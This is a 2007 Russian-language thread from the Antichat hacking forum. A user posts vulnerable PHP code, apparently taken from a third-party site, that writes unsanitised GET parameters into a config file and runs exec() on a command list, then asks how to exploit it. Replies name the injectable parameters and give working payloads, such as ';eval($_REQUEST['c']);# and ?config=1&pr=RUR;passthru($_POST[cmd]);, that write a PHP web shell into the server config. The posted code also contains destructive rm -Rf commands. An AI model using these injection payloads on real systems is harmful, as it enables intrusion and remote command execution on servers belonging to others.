Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Как правильно экплаутировать? |

09.11.2007, 08:17
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Как правильно экплаутировать?
Есть код интересует exec.
И откуда берется переменная __FILE__ ?
PHP код:
<?
if(array_key_exists('config',$_GET)){
$source = '<?'."\n";
$source .= '$SDATA[\'THEME\'] = \''.$_GET['theme'].'\';'."\n";
$source .= '$SDATA[\'SUPPORT-MAIL\'] = \''.$_GET['sem'].'\';'."\n";
$source .= '$SDATA[\'SUPPORT-HOST\'] = \''.$_GET['sh'].'\';'."\n\n";
$source .= '$SDATA[\'PRICE_MODIFIER\'][\'default\'] = '.$_GET['pr'].';'."\n";
$source .= '$SDATA[\'USE_FREE_VIAGRA_PILLS\'] = true;'."\n";
$source .= '$SDATA[\'USE_REWRITE_URLS\'] = true;'."\n";
$source .= '?>';
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w')){
fwrite($fp,$source);
fclose($fp);
die('OK:-:');
}
else die('ERROR:-:writeconfig');
}
else{
$CMD = array();
include_once dirname(__FILE__).'/cmd.php';
$cnt = count($CMD);
for($i=0;$i<$cnt;$i++){
exec($CMD[$i],$out,$res);
if(($CMD[$i] != 'chmod -R 777 ./_cnf') && ($CMD[$i] != 'chmod -R 777 ./var'))
if($res != 0) die('ERROR:-:'.$CMD[$i]);
}
}
?>
|
|
|

09.11.2007, 10:05
|
|
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме: 2872049
Репутация:
705
|
|
у тебя эта строчка закоментированна
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
создает директорию, где dirname это директория на хосте, __FILE__ скорее всего это какая то константа, дальше еще одна папка и файл, и выставляются чмоды.
Из манов:
mkdir ("/path/to/my/dir", cmod);
У тя где то в скриптах должно быть такое
define ("_FILE_", "samehit.php");
|
|
|

09.11.2007, 10:08
|
|
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме: 951141
Репутация:
291
|
|
http://php.ru.manual.osdevel.com/language.constants.predefined.html
|
|
|

09.11.2007, 10:16
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Еще раз интересует exec()
|
|
|

09.11.2007, 10:18
|
|
Участник форума
Регистрация: 16.06.2006
Сообщений: 179
Провел на форуме: 515368
Репутация:
135
|
|
я думаю из [DOCUMENT_ROOT]
вот например при открытии файла
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w'))
имя каталога она берёт из _FILE_ потом добавляет адрес нужного файла.
|
|
|

09.11.2007, 10:32
|
|
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме: 7681825
Репутация:
4451
|
|
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Последний раз редактировалось gemaglabin; 09.11.2007 в 10:53..
|
|
|

09.11.2007, 10:43
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме: 4610226
Репутация:
1332
|
|
2gibson это предопределенная интепретатором константа.
>> include_once dirname(__FILE__).'/cmd.php';
ну мы же не знаем чего в cmd.php находится, а там как раз и идет определение массива $cmd.
зы я бы на твоем месте смотрел, что у нас в первом if идет)
зыы ужасные исходники
|
|
|

09.11.2007, 11:06
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
[ cash ], константа __FILE__ является одной из предопределённых констант и всегда резолвится в полный путь до текущего файла, т.е. в нашем случае данная константа резолвится в полный путь к этому бажному скрипту. Что касается exec - в данном случае мы ничего поделать не можем, т.к. единственный параметр, который содержит выполняемую команду это $CMD и он обнуляется ($CMD = array()) перед использованием. Как правильно заметил Гема, в данном случае единственное само-собой напрашивающее действие - проинжектить параметры и прописать в конфиг свой php-код. То есть уязвимые параметры у нас: theme, sem, sh, pr. Можно использовать любой из них. Единственное - если на серваке включены magic_quotes это может обернуться для нас проблемой и лишит ряда удобств. Вот пример вызова этого скрипта:
bug.php?config=1&pr=RUR;passthru($_POST[cmd]);
Обрати внимание, я использовал параметр pr, т.к. в конфиге его значение не обрамляется кавычками.
|
|
|

09.11.2007, 11:08
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
В cmd.php и есть масив с командами.
PHP код:
<?
$CMD[] = 'rm -Rf ./core';
$CMD[] = 'rm -Rf ./data';
$CMD[] = 'rm -Rf ./themes';
$CMD[] = 'rm -Rf ./thumbs';
$CMD[] = 'rm -Rf ./temp';
$CMD[] = 'rm -Rf ./var';
?>
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Да токо пишеться inc файл...
Тоесть как я понял внедрить в массив CMD свою команду не реально?
И сам конфиг не куда не инклудиться... он всего лишь остаток скрипта который забыли удалить...
Последний раз редактировалось [ cash ]; 09.11.2007 в 11:13..
|
|
|

09.11.2007, 11:42
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Ну ничто не мешает открыть конфиг тебе, если парсится расширение inc и он доступен через веб. В массив CMD влезть нереально, так как он жёстко забит в файле и нету никакого интерфейса общения с ним.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|